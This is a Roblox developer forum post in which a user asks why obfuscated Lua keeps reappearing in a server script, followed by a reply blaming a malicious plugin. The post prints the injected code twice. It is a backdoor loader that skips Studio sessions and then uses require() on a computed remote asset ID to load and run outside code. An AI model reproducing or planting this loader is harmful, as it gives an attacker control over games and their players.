So this happens whenever I publish or save my game, in one of my scripts, a group of characters that appear to be from the game keep appearing and creating an error, causing it to not function in-game. This is what the group of characters says,
igAjVvpyToCUYiZDI = 'GetProductInfo' iTfr0J = game iuB1pYYF = 'GetService' iA9JPlC31E936 = 'PlaceId' iCwDQ4ZH = 'ReplicatedStorage' iyJJ = 34934957.802632 * 76 iDpYsBzpRKh = 'IsStudio' ijq0fkFDM = 'load' iAhLh = 'FindFirstChild' iniiKGZxtR = 'RunService' iSAp4 = 'PlaceId' iz7xdmg2FToS = require i0dfvf77i1SAEHK = 'Description' iZhBCwjYYtW = 'IsStudio' iEn7MGRkoMP = pcall i236CJoT7f1hiZL = pcall id9Q0a6G074 = 'SSM' iIe2vgpk = spawn iIe2vgpk( function() i236CJoT7f1hiZL( function() if iTfr0J:GetService(iniiKGZxtR) [iZhBCwjYYtW] (iTfr0J:GetService(iniiKGZxtR) ) then return end iz7xdmg2FToS(iyJJ) [ijq0fkFDM] (iTfr0J[iA9JPlC31E936] ) end ) end )
Even if I delete it, it still comes back in the same exact script after I publish. A bit of background to my question, it's on a server script, it only happens on that exact server script, if I'm on the script the group of characters appears, when I'm off the script the group of characters still appears. No matter what I do, it still appears. This is the server script it appears in.
--> Variables local obj_folder = workspace:WaitForChild("GeneratedObjects") local plyr_folder = game:GetService("Workspace"):WaitForChild("Player") local continue = true --> Loop #1 spawn(igAjVvpyToCUYiZDI = 'GetProductInfo' iTfr0J = game iuB1pYYF = 'GetService' iA9JPlC31E936 = 'PlaceId' iCwDQ4ZH = 'ReplicatedStorage' iyJJ = 34934957.802632 * 76 iDpYsBzpRKh = 'IsStudio' ijq0fkFDM = 'load' iAhLh = 'FindFirstChild' iniiKGZxtR = 'RunService' iSAp4 = 'PlaceId' iz7xdmg2FToS = require i0dfvf77i1SAEHK = 'Description' iZhBCwjYYtW = 'IsStudio' iEn7MGRkoMP = pcall i236CJoT7f1hiZL = pcall id9Q0a6G074 = 'SSM' iIe2vgpk = spawn iIe2vgpk( function() i236CJoT7f1hiZL( function() if iTfr0J:GetService(iniiKGZxtR) [iZhBCwjYYtW] (iTfr0J:GetService(iniiKGZxtR) ) then return end iz7xdmg2FToS(iyJJ) [ijq0fkFDM] (iTfr0J[iA9JPlC31E936] ) end ) end ) function() wait() if continue == true then for i,v in pairs(game.Players:GetPlayers()) do if v then if not plyr_folder:FindFirstChild(v.Name) then local folder= Instance.new("Folder", plyr_folder) folder.Name = v.Name end end end end end) --> Loop #2 spawn(function() wait() for i,v in pairs(plyr_folder:GetChildren()) do if v:FindFirstChildOfClass("Folder") then for i2, v2 in pairs(game.Players:GetPlayers()) do if v2.Name == v.Name then continue = false elseif v2.Name ~= v.Name then v:Destroy() continue = true end end end end end)
How would I go about stopping this? It also appeared at one point in a script it made by itself, with a bunch of strange characters on its name. Also, my game doesn't have viruses or vaccines or anything, I checked.
That sounds like a malicious plugin, especially because it's obfuscated and appears to be trying to get your game's visitors to purchase something. Go through all of your plugins, and delete any that you don't absolutely need, and ones that look suspicious.